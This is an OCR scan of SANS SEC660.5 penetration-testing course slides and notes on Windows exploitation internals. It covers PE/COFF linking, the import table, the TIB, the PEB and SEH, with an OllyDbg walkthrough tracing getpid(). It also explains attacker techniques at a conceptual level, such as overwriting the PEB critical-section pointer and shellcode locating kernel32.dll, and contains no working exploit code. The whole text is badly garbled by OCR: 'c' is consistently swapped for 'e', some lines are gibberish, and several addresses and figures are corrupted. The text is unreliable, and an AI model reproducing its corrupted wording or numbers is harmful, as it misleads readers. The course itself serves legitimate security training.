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Exploiting Windows for Penetration Testers - 660.5 
In this scction wc will focus primarily on thc Windows OS, perforrning many of thc samc auack 
stylcs wc perforrncd on Linux. There arc many diffcrcnccs when exploiting thc Windows OS, 
which will bccomc quitc evident as we progrcss through thc different techniqucs. 

SANS Security 660.5 

Advanced Penetration Testing, Exploit Writing, 
and Ethical Hacking 

Exploiting Windows for Penetration Testers 
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A Word about this Secrion ... 
A quick notc about this sections material, and 660.4's for that matter. Many pcnctration testers 
have the mindsct that they will never be responsible for writing eustom exploits or pcrforming 0- 
day bug hunting. Aside from the fact that it is a great skill to have and you may find yoursel f in 
that role in the future, penetration tcstcrs are often faced with scripts that do not work and OS or 
compile-time protections thwarting your attack from being successful. 1 f you cannot repair a script 
to utilize ROP techniques to bypass DEP, someone eise will succced. lt is not uncommon 10 run a 
Metasploit script against a secmingly vulnerable systcm, only 10 find that the exploit fails. Do you 
stop here and assume thc systern is safe? No! You must research further to see if your attack is 
failing due to OS and compile-time controls, or bad memory addrcsscs bcing chosen for codc 
reusc attacks, such as that with trampolines. Keep this in mind as wc progrcss through the day. 

• You do not have to write your own exploits to take 
full advantage of this material. We will be: 
- Repairing broken Metasploit scripts with invalid code reuse 

addresses (trampolines) 
- Understand how to use return-oriented programming (ROP) 

and exploitation to defeat Windows Vista/7 /8/2008 controls 
- Determme how to find bad characters 
- Search for stack overflow vulnerabilities 
- Understand modern OS controls such as Windows 8 ROP 

protection 
- Understand what's under the hood of the Windows OS and 

how it differs from Linux 

A Word about this Section ... 
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lntroduction to Windows Exploitation 

In this modulc wc will takc a look at thc Linking and Loading proccss on Windows, the Windows 
API and various intcrnals, such as the Process Environment Block (PEB), Thrcad Information 
Block (TIB) and Strucrured Exccption Handling (SEH). Attackcrs usc thcse areas within a proccss 
to perfonn such things as locating dcsircd variables and addresses within memory, ovcrwriting 
critical pointers, and to lcarn thc ovcrall structurc of a process. Penetration testcrs must havc the 
samc knowlcdge and skill-sct in ordcr to detcrminc if a process is vulnerable. 

SANS SEC660.5 

Introduction to 
Windows Exploitation 
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Objectives 
This modulc introduccs Windows OS cxploitation topics and concepts. We will first be focusing 
on some of thc diffcrcnccs bctween Windows and Linux from an operational pcrspcctive. This 
includcs thc linking & loading process on Windows, thc Windows API, and othcr Windows- 
spccific arcas such as thc Thrcad Information Block (TIB), Proccss Environment Block (PEB) and 
Structurcd Exccption Handling (SEH). This modulc will allow us to layout thc foundation nccdcd 
to look for cxploitation opportunitics on Windows. 

• Our objective for this module is to understand: 
- Windows Overview 
- Linkers & Loaders 

• PE/COFF 
- Windows API 
- Thread Information Block (TIB) 
- Process Environment Block (PEB) 
- Structured Exception Handling (SEH) 

Objectives 
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On Windows, 32-bit applications reccive 4 GB's ofvirtual memory. Memory address range 
OxOOOOOOOO- Ox7fffffff is for user mode, and Ox80000000 - Oxffffffff is for kcmel mode. On 64-bit 
applications, 7TB's or 8TB's arc given to the user and the kcrnel depcnding on the architecture. User 
modc runs from OxOOOOOOOOOOO to Ox7ffffffffff. Note that 1 TB is 2A40. Memory address range 
Ox80000000000 through 2 A 64 is a vcry large block. Addressing is handlcd differently on the various 
architectures. 

Kernel memory shares a single address space, unlike user mode applications. On 32-bit systcrns, the 
kerncl can easily access all memory on all proccsscs with unlimitcd control. On 64-bit systems, Kernel 
Mode Code Signing (KMCS) was introduced rcquiring a Certifieate Authority (CA) to vouch for a 
driver. Drivers' code runs in kemcl mode and cxploitablc vulnerabilities have historically rcsultcd in 
füll system control. 

CPU Modes I Processor Access Modes 
Thc majority ofopcrating systems support a two-ring model. Ring 0, also known as kernel-rnodc or 
kerncl-land, contains the kemel codc which performs corc operating system functionality such as the 
synchronization of multiple processors, access to hardware, and thc handling of intcrrupts, The kernet 
uses shared memory and must bc protectcd from user applications. User-rnode, or Ring 3, is wherc 
uscr-modc applications run. lf an exception occurs in user mode, it should be handlcd, even if it results 
in application termination. An exception in kcrncl mode can be catastrophic and lead to a systern 
crash, requiring a reboot in order to rccover. 

• Windows has two access modes: 
- Kernel Mode - Core Operating System Components, Drivers 
- User Mode - Application Code, Drivers 

• Kernel memory is shared between processes 
• 32-bit Windows provides 2GB of virtual memory to the 

kernel and 2GB to the user; however, there is an optional 
/3GB flag to give 3GB to the user 

• 64-bit Windows provides 7TB or 8TB to the kernel and 7TB 
or 8TB to the user 
- Depends on the architecture: x64 or IA-64 
- This does not exhaust 2 ** 64, but is plenty for now 

CPU Modes / Processor Access Modes 
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High-Level Layout - 32-bit 

The diagram on this slidc is a vcry simplificd vicw of mcmory layout on a 32-bit systern. The linc 
dividing thc two rcgions scrvcs as a gateway from uscr mode ro kcrncl modc. An API rnust be used to 
havc any action performcd in kcrnel mode. In ordcr to sec the kcrnel memory rcgion, a ring 0 
dcbuggcr must bc used such as WinDbg. Thc Windows lntcrnals 61h Edition book by Mark 
Russinovich, David Solomon, and Alex Ioncscu is a great rcsourcc for undcrstanding this mcmory 
scparation on Windows. The Hardware Abstraction Laycr (HAL) is a critical part of the kcrncl 
subsystem that allows Windows to run on various hardware platforms. A combination of dcvice 
drivcrs and HAL routincs arc uscd when hardwarc acccss is required. 

Hardware 0,1fl1 ff rr 
K 

Hardware Abstraction Layer (HAL) E • R 
Kernel-land Drivers N 

Kernel E • L Q, 800(K)OOO 

API o,7ffffll f 

~ u 
s 

User-land Drh er ~ Uscr-l\1ode Applications E 
R 

Q,O(H)OO()(H} 

High-Level Layout - 32-bit 
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Exception handling opcratcs much morc dynamically on thc Windows OS. An cvcnt on Linux, such as a 
scgmcntation fault, will send a signal "SIGSEGV" to thc kcrncl informing it of thc invalid memory 
rcfcrcncc. Thc do_page_fault() function is thcn callcd to detcrminc ifthc rcfcrcnccd address is within thc 
proccsscs addrcss spacc. The rcsult is usually to terminale the process. Windows uses a global exception 
handler, which walks through a sct of one or more Try blocks, each containing one or morc Catch blocks. 
lf a proper handlcr is found, its codc for that handler is cxecutcd. If no exception handlcr is found, thc 
dcfault handler will be called to tcrminatc thc proccss. Wc'll look at somc cxamplcs of Windows 
Structurcd Exception Handling (SEH) coming up. 

Many of this sections modules will focus on thc diffcrcnccs bctwccn Windows and what wc'vc already 
covcrcd on Linux. Many of the principles and concepts arc similar, but thc cxecution is different. Much of 
this diffcrcncc is duc to thc Windows Application Programming Interface (API) and various proccss or 
thread-spccific constructs. With Linux wc usc system calls to acccss functions within kernet addrcss spacc. 
Linux systcm calls can bc comparcd to the Windows APis, where you havc a collection of functions which 
allow for privileged access outside of uscr address spacc. The Windows API is a collcction of Dynamically 
Linkcd Librarics (DLL)s and functions that allow a programmcr to writc programs and utilize serviccs on 
thc Windows OS. More dctails on this soon. 

Windows Overview 
Windows vs. Linux 
Wc havc alrcady covcrcd how thc linking and loading proccss works on Linux. In this section wc will 
cover how thc linking and loading process works on Windows. As Linux uses thc ELF object file format, 
Windows uses the Portable Exccutable / Common Objcct File Format (PE/COFF). They serve thc same 
type of function, but of course the implementation is di ffcrent. The cquivalent to Linux 's usc of thc 
Procedure Linkagc Table (PLT) and the Global Offset Table (GOT) on Windows is thc Import Addrcs 
Tablc (IAT) and thc Export Addrcss Table (EAT). Windows also supports a form of "Lazy Binding" with 
delayed symbol resolution. We'll cover this in the next scction. 

• Windows vs. Linux 
- Linking and Loading 

• ELF vs. PE/COFF 
• GOT/PLT vs. IAT/EAT 

- Windows API 
• Windows Application Programming Interface 

- Structured Exception Handling - SEH 
• Global Exception Handler 
• Try and Except/Catch Blocks 

-Threading 
• fork() vs. threads 

Windows Overview 
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Whcrc many *NIX OSs pcrform fork-ing, spawning a wholc new process, Windows uses threading. A 
proccss on Windows can havc multiple threads of cxccution within itsclf. These thrcads share thc samc 
address spacc as the parcnt proecss and can inherit attributes of thc parcnt markcd for inheritancc. 
Take an application that fork()s a new proecss each time a uscr connccts. For eaeh instancc thc cntire 
process is copied to the ncw proccss, a PID is assigncd, and cach proccss rcccivcs its own memory 
space. Thrcading allows Ior the sharing of thc proccss ID, addrcssing, and memory scgments. Thc only 
exccption is that cach thread gcts its own stack and Thrcad Information Block (TIB). This makcs for 
much morc cfficicnt use of memory and systcm resourccs. 
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Exccutablc filcs do not typically cxport any symbols, although thcy may bc visible. OLL Files 
cxport thc symbol information for cach function it contains. A binary lookup is uscd to dctcnninc if 
thc OLL filc contains thc rcqucstcd function. Thc EA T makcs available the relative virtual addrcss 
of the requested function. The relative address must then be added to the load addrcss to obtain the 
full 32-bit virtual mcmory address, or 64-bit address respectively. 

PE/COFF filcs utilizc an Import Addrcss Tablc (IAT) and an Export Addrcss Table (EAT). Thc 
IA T holds symbols that rcquirc rcsolution upon program runtimc, and the EA T makcs availablc thc 
functions local to thc program or library that may bc uscd by othcr executablc filcs or sharcd 
libraries. Thc IAT lists thc symbols necding rcsolution from cxtcrnal OLL flies containcd on thc 
systcm in which the program is run. Thc function name is included in thc IAT, as weil as thc OLL 
filc, which should contain the requested function. For cxample, if thc program rcquires thc function 
LoadLibraryA(), it will includc the function namc as wcll as thc OLL filc, kcmc132.dll. The 
rcqucstcd function is oftcn obtaincd by using an ordinal valuc assigncd bascd on its location within 
thc tablc. For cxamplc, insidc kcmc132.dll is thc function GctCurrcntThrcadld(), which is bound to 
thc addrcss Ox7C809737 on certain vcrsions of Windows. The imports tablc will hold this 
information and also reference that function by an ordinal value such as 3 18. 

Linking & Loading - PE/COf F 
Thc Objcct File fonnat used by Microsoft Windows is PE/COFF. lt is bascd on thc original COFF 
formal used by UNIX systcms after the a.out format and prior to thc ELF formal still used today. 
The formal is optirnizcd to work in cnvironmcnts using paging and can bc mappcd dircctly into 
mcmory duc to fixcd sizing. Thc PE/COFF formal has two primary formats, the Exccutablc Format 
and OLL formal. Thc Microsoft cquivalcnt of Sharcd Objcct filcs is Oynamic Link Librarics 
(OLL)s. 

• Windows Object File Format 
• Two primary formats: 

- Executable Format 
- Dynamic Link Libraries (DLL) 

• Import Address Table 
• Export Address Table 
• .reloc section 

- Fix-up's 
- Relocation not common, although Dlls mapped into a 

process could conflict 

Linking & Loading - PE/COFF 
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Thc PE/CO FF hcadcr includcs a COFF scction that dcscribcs thc contcnts of thc PE filc. Thc 
rclocation (.rcloc) scction filc contains "fix-ups" holding infonnation about which scctions rcquirc 
rclocation in thc cvcnt thcrc is a conflict with addrcssing. Fix-ups arc not oftcn ncccssary with 
modern Windows systcms: howcvcr, if thcrc arc multiple DLLs loaded into mcmory that rcqucst 
thc samc addrcss spaec, thcy will rcquirc rclocating. During program runtimc, thc PE is loaded 
into mcmory. At this point thc PE is eallcd a modulc, and thc loeation of thc start addrcss is callcd 
thc HModulc. Thc "11" stands for Handle and is now synonymous with Hlnstancc. 
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DOS Executable File and Signature 
Thc first item inside a PE/COFF object filc is the DOS MZ Header. You will most commonly see 
the hex values "4D SA" as the first value. The magie number "4D SA" translates from Hcx-to- 
ASCll to "MZ", which stands for Mark Zbikowski, one of the original DOS developers. This 
hcader also has a stub area. An example of when this stub area is used is when a user attempts to 
run a program from command line that cannot run from command line. The following message 
would be displayed in that case, "This program cannot bc run in DOS modc." Also included in 
this headcr is a fteld that points to thc PE signature. Thc PE signaturc is a 4-bytc valuc that is 
always PE\0\0. 

PE/COFF Sections 
Similar to the ELF formal, PE/COFF has multiple headers and seetions which are read and loaded 
into memory during load-time. 

-Signature 
• PE Signature - PE\0\0 

• PE/COFF Primary Sections 
- DOS Executable File 

• MZ Header - "40 SA" 
• Mark Zbikowski 
• Stub Area 

- "This program cannot be run in DOS mode" 

PE/COFF (2) 
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The optional hcadcr sccms to always stan with thc magic number OxO 1 Ob for PE32 format or 
Ox020b for PE64 format. You can usually usc this valuc to know where the bcginning ofthc 
optional hcader is locatcd. Thc optional header contains infonnation about the size of the image, 
as weil as the RV A offsct to whcrc cxccution of the program should bcgin. Offset 20 from the 
start of thc optional header is a 4-bytc valuc that shows the relative offsct of whcrc thc image will 
be loaded into mcmory. This can cbangc dcpcnding on the version. The optional hcadcr cvcn 
spccitics how much spacc to rescrve for the stack and hcap. 

\d'..lll\\l i\·1t !' j '•)'j l. 11' 1 l ! ,, ui.: t'H' 1 l1h , }I Hhl"' 

File Header and Optional Header 
Oncc it has bccn vcrified that thc program is a valid exccutablc that can run on thc system, 
exccution movcs through the filc hcadcr. Thc tilc header consists of a COFF scction and optional 
hcadcr. You will most oftcn find the valuc OxO l 4c, which teils thc system that a minimum of an 
Intel 386 processor is nccdcd to run the exccutablc. Othcr data in this headcr includcs a timcstamp 
and relative virtual addrcssing information. 

• PE/COFF Primary Sections - cont. 
-Header 

• Ox014c - Intel 386 Requirement 

-Optional Header 
• OxOlOb - PE32 Format 1 Ox020b - PE64 Format 
•Image Size 
• RVA Offset 
• Stack and Heap requirements 

PE/COFF (3) 
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Lazy Linking 

Similar to thc way in which ELF uscs thc PL Tand GOT, Windows also allows for a form of lazy 
linking aftcr program loading. lnstead of including thc cntrics in thc .idata scction to bc 
automatically rcsolvcd during runtimc, they can be loaded into a delay-load import table. This 
section holds the librarics and functions that will not be called until the Iirst call to that function. A 
process can also utilize functions, such as LoadLibrary() and GetProcAddress(), to obtain a 
symbol's linear address when rcqucstcd aftcr program runtimc has initiatcd. This is a comrnon 
goal of an attackcr's shellcode after obtaining the location of kemc132.dll. These functions ean be 
used to load any desired library into mcmory. 

\, .'·1 .. , I'. · · 1 1 11 1 , \\ "l · .: 1 · ,, '11 "·.· 

Section Table er Header 
Thc scction tablc or hcadcr gives us thc ASCII namc of thc scctions included in the executablc, 
such as .text, .data, .rsrc, and othcrs, and provides us with information as to where in memory thcy 
will be located. Sections arc mappcd into memory using a 4096 byte boundary for alignmcnt. 

• PE/COFF Primary Sections - cont. 
- Section Table 

•ASCII Section Names 
- .text, .idata, .rsrc, etc ... 

• Memory location of sections 
• 4096 byte boundary alignment 

• Lazy Linking 
-Similar to PL T and GOT relationship 
-Symbols are not resolved until first call 

PE/COFF (4) 
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OllyDbg has many features and also allows you to writc your own plugins. Whcn the source code 
of a program is not available, you must havc a way to disassemblc the code and understand what 
the code is doing. OllyDbg allows you to analyzc and modify thc register contcnts, such as EAX, 
EIP, EDJ, etc. Thc disassemblcr panc allows you to inspcct and modify thc asscmbly codc ofthc 
compiled binary. API calls may bc monitored and intcrcepted. OllyDbg will even attcmpt to teil 
you thc path of cxccution a program is going to takc. 

OIJyObg 
OllyDbg is a software dcbuggcr for Windows. Thc tool was ereatcd by Olch Yuschuk and is 
frecly availablc. Using thc tool for commcrcial use rcquircs you to rcgistcr. 

• Software Debugger for Windows 
• Author: Oleh Yuschuk 
• Shareware! 
• Binary Code Analysis 
• Register Contents, Procedures, API Calls, 

Patching and rnorel 

Tool: OllyDbg 
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lmmunity Debugger 

lmmunity Debugger is anothcr dcbugger option available. Thc tool is bascd on OllyDbg and so 
the layout should look vcry familiar, along with many of thc functions. Thc tool is maintained by 
Dave Aitcl and his cmployccs at Immunity. lmmunity can bc found online at 
http://www.immunitysec.com/. The dcbuggcr is frcc and combincs thc GUI layout of OllyDbg 
with command-line support similar to WinDbg and GDB. Python scripting is also supportcd for 
cxtcnsibility. Thc tool is aimcd ar reversc engineering and exploit dcvclopmcnt, claiming to cut 
down on exploit dcvclopmcnt time by 50%. A bcncfit to using lmmunity Debugger is the easy 
ability to irnport debugging symbols whcn ncccssary. OllyDbg can bc quitc troublcsomc whcn 
trying to connect to the Microsoft Symbol Store or to a local symbol store. 

• Immunity - Founded by Dave Aitel 
- http://www.immunitysec.com/ 

• Free debugger based off of OllyDbg 
• Extensive development work focused on 

reverse engineering and exploit development 
• Combines command-line and GUI 
• Supports Python Scripting 

Tool: Immunity Debugger 
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PEDUMP 
PEDUMP is a frccwarc tool crcatcd by Matt Pictrck that displays Portable Executable structurc 
data in an easy to rcad format, Thc tool atlows you to vicw all hcadcrs within a PE file, as weil as 
the scction tablcs, contcnts, RVA informarion, symbol tablcs, rclocation information, and more. 
Thcrc arc many tools that pcrfonn a similar function such as Dumpbin, but PEDUMP is an 
cfficicnt one to use whcn collccting objcct file infonnation on Windows. 

• PEDUMP for PE File Examination 
• Author: Matt Pietrek 
• Freeware! 
• Display PE Header Data 
• Display Section Tables 
• Display Symbol Tables 

Tool: PEDUMP 
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***NOTE*** 
lt is important to understand that unlike our cxcrciscs on Linux, thc mcmory addressing in 
Windows may vary from what you see on the slides. Windows constantly updatcs thcir DLLs and 
APls rcsulting in changcs to thcir location in memory once loaded. lf thc addrcssing on your 
system is different than what is shown on thc slidcs, this is completcly normal and all techniqucs 
and labs still work. Somctimcs, you may bc rcquircd to scarch for a particular construct or opcodc 
in mcmory which is vcry typical. Ask your instructor i f you havc any troublc finding somcthing. 

Windowsmemory addressing on 
your system may be entirely 

different. This is due to the many 
different service packs and 

patch levels available. 

***NOTE*** 
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Before moving to thc ncxt slide, sec if you can locatc whcrc the call to the getpid() funetion is locatcd. 
lf you find it, click oncc on thc mcmory addrcss ofthat instruction on thc left and press thc F2 key. F2 
scts a brcakpoint. Thc highlightcd mcmory addrcss should turn red at this point to show that a ) 

Registers Panc - Thc rcgisters pane shows thc contcnts of a large number of CPU rcgistcrs. For 
cxarnplc, thc EIP rcgistcr will hold the address of thc instruction currcntly being cxccutcd. 

Stack Panc - The stack panc shows thc stack and the location whcrc ESP is currcntly pointing. 

In this cxamplc, OllyDbg is bcing uscd to opcn thc program. You can perform the samc with 
lmmunity Debugger. Spend sornc time getting familiar with thc different pancs within OllyDbg and 
lmmunity Debugger, and noticc the five primary sections within the CPU window: 

Dissascmblcr Pane - This pane shows the mcmory locations and assembly instructions of the loaded or 
attachcd program. 

Information Pane - The information panc dccodes argumcnts. 

Dump Panc-Thc dump pane shows thc contcnts of memory. 

PE/CO FF Walkthrough (1) 

Let us now go through thc symbol rcsolution on a Windows systcm using thc PE/COFF filc fonnat. 
Wc will track the resolution of thc function getpid(), which is locatcd in msvcrt.dll. Thc getpid() 
function is used by the sarnc "rncmtcst" application we uscd on Linux. A compiled vcrsion of this 
prograrn for Windows cxists on thc tools CD and is titled "memtest2.exc". 

PE/COFF Walkthrough (1) 
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brcakpoint has bccn sct. By setting a brcakpoint, you arc tclling thc dcbuggcr to pause program 
cxccution oncc a call to that function has bccn rcachcd. If you wcrc unablc to locatc thc call to thc 
gctpid() function, turn to thc ncxt slidc for thc location. 
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PE/COFF Walkthrough (2) 

This slide shows our brcakpoint sct at thc mcmory addrcss Ox004012FE, which is the location of 
our programs call to thc gctpid() function on thc OS used for thc presentation. At this point you 
should click on thc bluc "play" button towards thc top lcft of the CPU window. Prcssing F9 will 
pcrform thc same function and simply mcans, "Run.". Jf you sct up thc brcakpoint properly, the 
call to gctpid() should bc highlighted and thc program should show as "Paused" on the bottom 
right of thc scrccn. Press F7 oncc to step into thc ncxt instruction located at thc destination cal 1 
addrcss. F7 is thc command to pcrform a single-step of one instruction. 

PE/COFF Walkthrough (2) 
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Click thc "Canccl" button and press F7 once. Wc'll look up thc sourcc of this addrcss on thc next 
slidc. 

You may havc noticcd that wc'rc still within the codc or tcxt scgmcnt. This scction of thc codc 
scgmcnt is a tablc of indircct jumps covcring cach entry in the Import Addrcss Tablc (IAT), as 
shown in the idata scction. To the calling function, the addrcss providcd is thc location of thc 
dcsircd function and is transparent. Double-click on the instruction "JMP DWORD PTR 
DS:[<&msvcrt._gctpid>]" and you should get thc popup box shown on the slidc. Thc address 
Ox004050E4 shows up and will bc thc dcstination of this jump instruction. This is, howevcr, a 
pointer to the ncxt addrcss toward our dcsircd function, gctpid(). 1 f you takc a look in thc 
information panc, you'll notice that it says "DS:[004050E4]=77CI F8 I C", which should bc thc 
truc addrcss of the rcsolvcd symbol. But wait! Whcrc did that addrcss comc from? 

PE/COFF Walkthrough (3) 
Noticc that wc havc now jumpcd to thc instruction at thc addrcss Ox00401840. Can you figurc out 
wherc in mcmory we havc jumpcd? Try to determinc whcrc cxccution may havc takcn us bcforc 
moving on. Thc ncxt paragraph will providc you with thc answcr. You can also try clicking on thc 
"M" button on thc main ribbon bar. lt will takc you to the Memorymap of thc program wherc you 
can casily idcntify addrcssing ranges. Click "C" at any time to go back to the CPU window. 

PE/COFF Walkthrough (3) 
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lf you said thc .idata section, you arc corrcct! As mcntioncd carlicr, thc .idata scction maps 
symbol narncs wc need to the appropriatc mcmory addresses by working with the Import Addrcss 
Tablc (JA T). Right click on the .idata scction and sclect "dump" from thc options. Procced to thc 
ncxt slidc. 

PE/COFF Walkthrough (4) 
In thc last stcp wc discovercd that thc pointcr was taking us to thc addrcss Ox004050E4. Again, 
your OS may bc slightly different and you may havc to compensatc for that in your rcscarch. To 
detcrminc what rcsidcs at this mcmory location, wc must navigate to thc appropriatc scction. This 
addrcss is obviously out of bounds for the code scgmcnt. From thc main CPU window in OllyDbg 
or Immunity Debugger, click on thc "Vicw" menu option and sclcct "Memory" from thc list of 
choiccs. You should sce the same window as shown on the slidc abovc. Locate the base address 
whcrc Ox004050E4 will fall. What section docs our pointer take us to? 

\d\,llllnl Pl·1w11a111111 ·1l·,1111g. 1 ,pl1111 \\ r111ng •. 11111 l .1h1lal llarkmg 
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PE/COFF Walkthrough (4) 
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On thc ncxt slide we will takc a look at thc IAT and how thc tablc rcfcrcnccs cach other. 

\,h.1m,d I', .,, 11.111"11 1,' 111.:. 1 !';.,., \\ 111111:·. , .. ,J 1 ''" .il 1 L1d-.1·1·• 

PE/COFF Walkthrough (5) 
You should havc a window that matchcs this slidc. Locatc thc mcmory address from our pointcr at 
Ox004050E4. You should have the address "77C 1 F8 I C" or similar hcld in that location, 
dcpcnding on your vcrsion of Windows. Remember that x86 uses little endian formal. This 
address should bc thc location of thc gctpid() function. By viewing the information panc within 
the main CPU window, wc can sec that at thc mcmory location Ox77C 1 F8 I C, wc arc actually 
bcing forwarded to the addrcss Ox7C809920, which lies within kcrncl32.dll. lt so happens that thc 
gctpid() function rcsiding in msvcrt.dll forwards us to thc function getcurrentprocessid() rcsiding 
in kcmel32.dll. 

PE/COFF Walkthrough (5) 
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Procccd back to thc main CPU window in OllyDbg and press F7 thrcc times until you hit the RETN 
instruction. You will bc takcn to thc addrcss shown on the ncxt slidc. 

) 

Box 3: In box 3 wc sec the address from thc "First thunk RVA" entry in thc Imports Tablc points us to 
the relative addrcss Ox50E4. lf we look at Ox50E4 in thc OllyDbg dump of that .idata memory spacc, 
wc sec that it points us to Ox77C 1 F81 C, thc location of gctpid() in msvcrt.dll. 

Box 2: At the relative location of Ox5 l 90 wc sec thc symbol name _gctpid dccodcd for us on thc right. 

Box 1: Herc wc are showing that thc unbound JA T entry in thc Imports Tab Je created by the original 
linker is pointing us to thc relative addrcss Ox5070. At Ox5070 wc sec another relative mcmory addrcss 
of0x5190. 

Frorn command linc, navigate into your "C:\Program Filcs\PEDump\'' dircctory and type thc 
command: 
pedump IS <path to the memtest Z.exe program> 
Scroll down until you sec the Imports Table. You should now bc able to locate thc data from the 
scrccnshot abovc. The largcr Screenshot above is from the same OllyDbg <lump as the last slide. 

PE/COFF Walktbrough (6) 
On this slidc wc sec two separate scrccnshots. Thc scrccnshot outlined in red is information displaycd 
by thc PEDump tool. This tool is located on your tools CD. You should creatc a foldcr in "Prograrn 
Files" dircctory callcd "PEDump." Unzip the pcdump.zip filc from your tools CD and extract all files 
to your ncwly crcated PEDump foldcr on your systcm. 

080~8?8 (Unbound !AT> 
mmmwr.:1.· -> Ued Dec 31 16:00:00 1969 

PE/COFF Walkthrough (6) 
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We have now walked a function call on a Windows systcm using the PE/COFF object file formal. 

Thc FS scgment register points to the Thrcad lnformation Block (TlB). ln the first instruction wc 
arc dcrcfcrcncing ofTset Ox 18 from the TlB into EAX. At this location is a sei f-rcfcrcncing 
pointer, or simply the full linear address of thc TIB. In thc sccond line we are dereferencing offsct 
Ox20 which is the location in the TIB that holds the PID for thc process. FS offsct OxO holds a 
pointer to the SEH chain, and FS offset Ox30 holds a pointcr to the PEB. To view the TIB, simply 
notc thc address being movcd into EAX during thc first instruction, go to the memory map, and 
doublc-click on the address. 

MOV EAX, DWORD PTR FS:[l8) 

MOV EAX, DWORD PTR DS:[EAX+20] 
RETN 

Also notc thc first thrcc lincs of disasscmbly at thc top of thc disasscmblcr panc: 

PE/COFF Walkthrough (7) 
Wc havc now bccn takcn to thc mcmory address Ox7C809920. Again, this may bc a different 
addrcss on your systcm. We can sec that by stcpping through thc instructions at Ox7C809920, 
EAX rcsults in thc valuc OxOOOOOCB8. This valuc in dccimal is 3256, which is the process ID 
being returned from thc gctcurrcntproccssid() function. **Note: This process ID will bc different 
cach time the program is run.** 

PE/COFF Walkthrough (7) 
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A compiler that has acccss to Windowssymbolinformation is nccdcd in ordcr to crcatc a proper 
Import Addrcss Tablc and resolve namcs during linking and loading time. Thc functionality of thc 
Windows API and dynamic linking allows Microsoft Windows devclopers to modify undcrlying 
functions within thc DLLs without affecting application functionality. This also mcans that thc 
location of functions oncc DLLs arc modificd may change, and thcy oftcn do. As lang as you 
havc the symbol information, your applieation will still work propcrly on thc various vcrsions and 
servicc packs of Windows. From thc opposite side, exploit codc rcfcrcncing static addrcsscs such 
as f unctions insidc of kcme132.dll will oftcn fail, as the address of this library and function offsets 
oftcn changes. Thcrc arc ways to writc shcllcodc that do not rcly on static addressing, and wc will 
gct to that a bit latcr. 

The Windows API 
The Windows API is the interfacc uscd to providc access to systcm rcsourccs. Functions arc 
grouped togethcr into Oynamically Linkcd Librarics (DLL)s and compiled. In order to get 
Windows to pretty much do anything, you must program an application to the rules of interacring 
with thc many APls. This includcs services such as opcning a window, accessing drop-down 
mcnus, opcning up network ports, acccssing cornrnand-linc utilitics, graphics utilities, rcgistry 
access, and prctty much anything eise. 1 f you want to do somcthing simple such as opcn a file on a 
Windows systcm, you cannot do this without using thc appropriate Windows API and having thc 
Operating System do it for you. 

• Set of compiled functions and services 
provided to Windows Application Developers 
- Makes it possible to get the operating system to 

do something 
• i.e. Write to the screen, display a menu, open a 

window, open a port, etc. 

- Provides services such as network services, 
registry access, command-line services ... 

- Windows is entirely closed-source 
• You must ask the OS to perform most routines 

The Windows API 
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The TIB holds a largc amount of infonnation about thc current thrcad, however, some common 
offscts from FS:(OxOO] that wc arc intcrcstcd in arc: 

FS:IOxOOI - Pointer to Structurcd Exception Handling (SEH) chain. Whcn an cvcnt occurs that 
rcquircs the global exccption handlcr to bc called, this pointcr is pushcd onto thc stack in ordcr to 
bcgin thc cxception handling proccss. 

FS: 10x301 Address of Proccss Environment Block (PEB). 
FS:IOx18f Addrcss ofThread Information Block (TIB). This is a sclf-rcfcrcncing pointcr to itsclf. 

\,h.111\n! l':11l11.1111111 1,,1111 .• :. I ·!';, .. , \\n•111.'.. 111d 1 ·l11,.1l II "L111" 

Thread Information Block (TIB) or Thread Environment Block (TEB) 
You will sec thc Thread Information Block (TIB) also rcfcrcnccd as thc Thrcad Environment 
Block (TEB). Thcy arc synonymous. The TIB is structurc of data that storcs information about the 
current thread, and cvcry thrcad has one. The FS scgmcnt rcgistcr holds thc location of thc TIB. 
Rather than calling a function such as gctprocessid(), thc PID of the proccss can be found at 
FS:[Ox20] within the TIB. These valucs can bc found, at OWORD boundaries from offsct 
FS:[OxOO]. 

• Thread Information Block (TIB) / Thread 
Environment Block (TEB) 
- Stores information about the current thread 

• FS:[OxOO] Pointer to SEH chain 
• FS:[Ox30] Address of PEB 
• FS:[Ox18] Address of TIB 

- Takes away the requirement to make an 
API call to get structural data 

-Each thread has a TIB 

Thread Information Block 
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One of the most common attacks on the PEB is to overwrite the pointer to 
RTL_CRITICAL_SECTION. This tcchnique has bcen documentcd scveral times and wc'll cover 
it in more dctail coming up. Critical Sections typically ensure that only onc thrcad is acccssing a 
protcctcd arca or service at once. lt only allows acccss for a fixed time to cnsure other thrcads can 
havc equal acccss to variables or resourccs monitorcd by thc Critical Section. 

Process Environment Block 

Thc Proccss Environment Block (PEB) is a structure of data in a proccsscs uscr addrcss spacc that 
holds infonnation about the proccss. This infonnation includcs itcrns such as the basc addrcss of 
thc loaded modulc (hmodule), thc starr of thc hcap, imported DLLs and much morc. A pointer to 
thc PEB can bc found at FS:[Ox30). Since thc PEB has modifiable attributes, you can imaginc that 
it is a common place for attacks. Windows shclleode oftcn takes advantage of the PEB as it stores 
the address of modules such as kcmel32.dll. If the shcllcode can find kemel32.DLLs address in 
rncrnory, it often timcs will then gct the location of the function getprocaddress() and usc that to 
locatc the address of desired functions. 

• Process Environment Block (PEB) 
- Structure of data with process specific information 

•Image Base Address 
• Heap Address 
• Imported Modules 

- kemel32.dll is always loaded 
- ntdll.dll is always loaded 

- Overwriting the pointer to 
RTL_CRmCAL_SECTION is a common attack 

• The PEB IS located at Ox7FFOFOOO *Randomization* 
• Ox7FFOF020 holds the FastPeblock Pointer 
• Ox7FFOF024 holds the FastPebUnlock Pointer 

Process Environment Block 
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Programmcrs can define their own exception handling within a program and choose to terminale 
thc process, print out an crror, perform some sort of action, or pretty much anything eise you can 
do with a program. lf these programmer dcfined handlers or compiler handlers do not handle the 
exccption, then the default handlcr will pick up the exception and terminate the program as stated. 
The image on the next slide helps to visualizc thc layout in memory. 

Structured Exception Handling (1) 
Exception handling in Windows can be much morc complex than on Linux. The pointcr storcd at 
FS:[OxOO] inside thc TIB points to an EXCEPTION _REGISTRA TION structurc that is part of a 
linkcd list of cxccption handlcrs and structures. If an exception occurs within a programmcr's 
codc, the Windows operating system will use a eallbaek function to allow thc program the chancc 
to handle the exception. lf the first structure can handle thc cxception, a valuc is retumed 
indicating thc result of the handling function. If thc result is a "continue exccution" value, thc 
proccssor may attcmpt to rctry the set of instructions that caused thc exception to occur. 1 f the 
handlcr declines thc rcqucst to handle thc cxccption, a pointcr to thc ncxt cxccption handling 
structurc is used. 

• Structured Exception Handling (SEH) 
- Callback Function 

• Allows the programmer to define what happens in the event of an 
